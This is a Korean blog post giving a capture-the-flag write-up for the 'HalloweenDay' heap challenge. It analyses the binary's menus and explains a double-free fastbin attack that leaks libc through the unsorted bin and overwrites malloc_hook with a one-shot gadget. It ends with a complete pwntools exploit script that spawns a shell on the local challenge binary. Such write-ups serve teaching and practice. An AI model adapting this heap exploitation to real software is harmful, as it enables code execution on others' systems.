ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • CHAPTER 2.HalloweenDay HowToSolve
    0x.STORY_TELLER/HowToSolve 2018. 4. 11. 11:50

    CHAPTER 2.HalloweenDay HowToSolve



    문제 링크 : https://github.com/pwnwiz/STORY_TELLER/tree/master/STORY_0x01


    이 문제는 fastbin_dup_into_stack 취약점이 존재하는 문제로, fake_chunk를 생성한 다음 값을 오버라이팅하여 풀 수 있는 문제이다.

    이 문제를 풀기 위해서는 다음의 개념들에 대한 이해가 필요하다.

    1. fastbin의 개념(64bit fastbin size)

    2. fastbin_dup_into_stack(fake_chunk)

    3. smallbin to unsorted bin

    4. malloc hook or free hook


    해당 바이너리를 실행시켜보면

    다음과 같이 뜬다. 오늘은 할로윈데이이며 누군가가 캔디를 받으로 집을 방문할 것인데, 그 중에는 유령도 존재한다고 한다. 메뉴로는 5가지가 있으며, 각각에 대한 분석이 필요할 것 같다.

    아이다로 메인함수를 까보니




    각각에 대한 스위치 문이 존재했다. 그리고 여기에는 숨겨진 메뉴가 하나 있는데 19950610을 입력하면 You got the bonus!!! 라는 문구와함께 bonus함수가 실행된다. 아마 이 함수가 중요한 역할을 하기에 숨겨놓은 것 같다.(19950610은 문제 출제자의 생일인가보다. 꼭 기억하도록 해야겠다.)

    메뉴의 순서대로 분석을 하도록 하겠다.

    1번 선택메뉴를 통해 accept 함수에 들어가보니 v6를 입력받는데, 그 값이 32보다 작으면 해당 크기로 malloc을 해주고, 그보다 클 경우에는 0x60의 크기로 malloc을 해준다. 그리고 read를 통해 28바이트(0x1c)만큼을 이름으로 입력을 받고 해당 동적할당 영역에 넣어주고, 그 뒤에 scanf로 받은 v6의 값이 저장된다. 아마 구조체인데, name과 size라는 인자를 가지고 있는 것 같다.


    실제 프로그램에서 할당을 하고 확인을 해보도록 하겠다.

    32크기로 AAAA라는 데이터를 이름에 넣고 확인해보았더니, 동적할당영역에 41414141이 들어갔고 28바이트 뒤에 0x20 즉, 크기로 입력한 값이 들어갔다는 것을 확인했다.

    2번째 메뉴인 Deny를 분석해보니, 인덱스 값을 입력받고, 할당된 상태인지 확인을 한 뒤에 free를 해준다. v3에 대한 조건문을 보니 인덱스가 1부터 시작하는 것 같다. (나중에 페이로드를 짤 때 실수를 할 가능성이 보인다 ㅋㅋ)

    이번에는 visitor 함수를 확인해보았는데, 해당 인덱스의 값을 출력해준다. 이를 통해 fd에 적혀있는 값을 릭해올 수 있을 것 같다.



    ghost메뉴를 확인해보자.

    이 함수는 정말 많은 작업을 수행한다. 3가지의 서로 다른 작업을 수행하는데, 각각 이름값으로 pumpkin, nightmare, darkness!를 입력하면 수행된다.

    먼저 pumpkin을 보니, 200(0xc8)바이트의 크기로 smallbin을 할당해준다. nightmare는 smallbin을 free해주고, darkness!는 할당된 smallbin의 값을 볼 수 있다. 왜 출제자가 굳이 smallbin 영역을 정의했을까에 대한 생각을 하다가 unsorted bin이 떠올랐다. 만약 이 문제가 arena를 릭해서 malloc_hook을 변조하는 문제라면 unsorted bin상태가 되면 fd에 main_arena+88이 적히는 값을 릭해라는 의도가 아닐까라는 생각을 했다.


    rest함수는 그냥 종료해주는 함수이기 때문에 bonus함수를 마지막으로 분석해보았다.

    이 부분이 아주 중요한 부분이었다. fastbin이 double_free 되고 나면 fd의 값이 적히는데 이 값을 오버라이팅할 수 있도록 도와주는 함수였다.

    익스는 다음의 순서로 진행할 것이다. 먼저 fastbin을 0x60바이트의 크기로 3개를 생성한다음 smallbin을 3개 생성한다.
    main_arena+88릭을 위해서 smallbin 1,0을 해제하고 main_arena+88을 릭한다음, fastbin 2,1을 free한 뒤, fd의 값을 malloc_hook-0x23에 위치한 7f에 넘겨주어 fake_chunk를 생성한다음 bonus로 oneshot 가젯으로 malloc_hook을 덮었다.

    익스 성공 !!

    아래는 익스플로잇 코드이다.

    from pwn import *

    #context.log_level="debug"

    s=process('./halloweenday')
    e=ELF('./halloweenday')


    def Accept(size, name):
    s.sendline("1")
    s.recv()
    s.sendline(size)
    s.recv()
    s.sendline(name)
    s.recv()

    def Deny(index):
    s.sendline("2")
    s.recv()
    s.sendline(index) #start from 1
    s.recv()

    def See():
    s.sendline("3")
    s.recv()
    s.sendline(index)
    s.recv()

    def allocate_ghost(name):
    s.sendline("4")
    s.recv()
    s.sendline(name)
    s.recv()

    def free_ghost(name, index):
    s.sendline("4")
    s.recv()
    s.sendline(name)
    s.recvuntil(">")
    s.sendline(index)
    s.recv()

    def leak_ghost(name, index):
    s.sendline("4")
    s.recv()
    s.sendline(name)
    s.recv()
    s.sendline(index)
    arena=u64(s.recv(6)+"\x00"*2)
    print 'arena leaked! : ' + str(hex(arena))
    s.recv()
    return arena

    def rest():
    s.sendline("5")

    def bonus(index, data):
    s.sendline("19950610")
    s.recv()
    s.sendline(index)
    s.recv()
    s.sendline(data)
    s.recv()


    s.recvuntil(">>")

    Accept("111111", "1")
    Accept("222222", "2")

    allocate_ghost("pumpkin") # smallbin
    allocate_ghost("pumpkin") # smallbin
    allocate_ghost("pumpkin") # smallbin

    free_ghost("nightmare", "1")
    free_ghost("nightamre", "0") # free first smallbin

    arena=leak_ghost("darkness!", "1") # arena leak
    libc=arena-0x3c4b78
    hook=libc+0x3c4b10

    fake_chunk = hook-0x23 # 0x7f

    print 'libc leaked! : ' + str(hex(libc))
    print 'hook leaked! : ' + str(hex(hook))

    Deny("2")
    Deny("1") #double free trigger

    bonus("0", p64(fake_chunk)) # fastbin_dup_into_stack

    oneshot = libc + 0x4526a
    print 'oneshot gadget : ' + str(hex(oneshot))

    Accept("222222", "2")
    Accept("111111", "\x00"*3+p64(0)*2+p64(oneshot)) # malloc hook overwrite

    s.sendline("1")
    s.recv()

    s.sendline("pwnwiz") # call malloc hook
    s.sendline("cat flag") # sh : cat flag

    s.interactive()

    '0x.STORY_TELLER > HowToSolve' 카테고리의 다른 글

    CHAPTER 3.Viva_La_Vida HowToSolve  (0) 2018.09.03
    CHAPTER 1. Nymph's_fault HowToSolve  (0) 2018.02.28

    댓글

Designed by Tistory.